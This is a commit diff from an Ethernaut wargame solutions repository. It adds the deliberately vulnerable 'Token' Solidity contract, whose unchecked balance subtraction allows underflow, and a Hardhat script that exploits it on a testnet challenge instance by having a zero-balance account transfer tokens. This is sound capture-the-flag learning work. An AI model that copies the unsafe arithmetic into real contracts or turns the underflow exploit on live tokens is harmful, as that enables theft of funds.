Token challenge (5)

ethernaut_challenges/.env.example

@@ -1,2 +1,3 @@
 ALCHEMY_API_KEY=
-ROPSTEN_PRIVATE_KEY=
+PRIVATE_KEY_1=
+PRIVATE_KEY_2=

ethernaut_challenges/contracts/05_Token.sol

@@ -0,0 +1,22 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.6.0;
+
+contract Token {
+  mapping(address => uint256) balances;
+  uint256 public totalSupply;
+
+  constructor(uint256 _initialSupply) public {
+    balances[msg.sender] = totalSupply = _initialSupply;
+  }
+
+  function transfer(address _to, uint256 _value) public returns (bool) {
+    require(balances[msg.sender] - _value >= 0);
+    balances[msg.sender] -= _value;
+    balances[_to] += _value;
+    return true;
+  }
+
+  function balanceOf(address _owner) public view returns (uint256 balance) {
+    return balances[_owner];
+  }
+}

ethernaut_challenges/hardhat.config.ts

@@ -1,22 +1,22 @@
-import "@atixlabs/hardhat-time-n-mine";
-import "@atixlabs/hardhat-time-n-mine/dist/src/type-extensions";
-import "@nomiclabs/hardhat-waffle";
-import dotenv from "dotenv";
-import "hardhat-gas-reporter";
-import "hardhat-tracer";
-import { task } from "hardhat/config";
+import '@atixlabs/hardhat-time-n-mine'
+import '@atixlabs/hardhat-time-n-mine/dist/src/type-extensions'
+import '@nomiclabs/hardhat-waffle'
+import dotenv from 'dotenv'
+import 'hardhat-gas-reporter'
+import 'hardhat-tracer'
+import { task } from 'hardhat/config'
 
-dotenv.config();
+dotenv.config()
 
 // This is a sample Hardhat task. To learn how to create your own go to
 // https://hardhat.org/guides/create-task.html
-task("accounts", "Prints the list of accounts", async (args, hre) => {
-  const accounts = await hre.ethers.getSigners();
+task('accounts', 'Prints the list of accounts', async (args, hre) => {
+  const accounts = await hre.ethers.getSigners()
 
   for (const account of accounts) {
-    console.log(await account.address);
+    console.log(await account.address)
   }
-});
+})
 
 // You need to export an object to set up your config
 // Go to https://hardhat.org/config/ to learn more
@@ -25,21 +25,21 @@ export default {
   solidity: {
     compilers: [
       {
-        version: "0.8.7",
+        version: '0.8.7',
         settings: {
           outputSelection: {
-            "*": {
-              "*": ["storageLayout"],
+            '*': {
+              '*': ['storageLayout'],
             },
           },
         },
       },
       {
-        version: "0.6.0",
+        version: '0.6.0',
         settings: {
           outputSelection: {
-            "*": {
-              "*": ["storageLayout"],
+            '*': {
+              '*': ['storageLayout'],
             },
           },
         },
@@ -49,13 +49,11 @@ export default {
   networks: {
     ropsten: {
       url: `https://eth-ropsten.alchemyapi.io/v2/${process.env.ALCHEMY_API_KEY}`,
-      accounts:
-        process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [],
+      accounts: [process.env.PRIVATE_KEY_1, process.env.PRIVATE_KEY_2],
     },
     rinkeby: {
       url: `https://eth-rinkeby.alchemyapi.io/v2/${process.env.ALCHEMY_API_KEY}`,
-      accounts:
-        process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [],
+      accounts: [process.env.PRIVATE_KEY_1, process.env.PRIVATE_KEY_2],
     },
   },
-};
+}

ethernaut_challenges/scripts/05_token.ts

@@ -0,0 +1,34 @@
+import { Signer } from 'ethers'
+import { ethers } from 'hardhat'
+import { createLevelInstance, submitLevelInstance } from './ethernaut'
+
+const levelAddress = '0x63bE8347A617476CA461649897238A31835a32CE'
+
+const main = async () => {
+  const signer = (await ethers.getSigners())[0] as Signer
+  const otherSigner = (await ethers.getSigners())[1] as Signer
+
+  const targetContract = await createLevelInstance('Token', levelAddress, signer)
+
+  const printBalances = async () => {
+    console.log('Total supply: ', (await targetContract.totalSupply()).toString())
+    console.log('Signer balance: ', (await targetContract.balanceOf(await signer.getAddress())).toString())
+    console.log('otherSigner balance: ', (await targetContract.balanceOf(await otherSigner.getAddress())).toString())
+  }
+
+  await printBalances()
+
+  const transferTx = await targetContract.connect(otherSigner as any).transfer(await signer.getAddress(), 21)
+  await transferTx.wait()
+
+  await printBalances()
+
+  await submitLevelInstance(targetContract.address, signer)
+}
+
+main()
+  .then(() => process.exit())
+  .catch(e => {
+    console.error(e)
+    process.exit(1)
+  })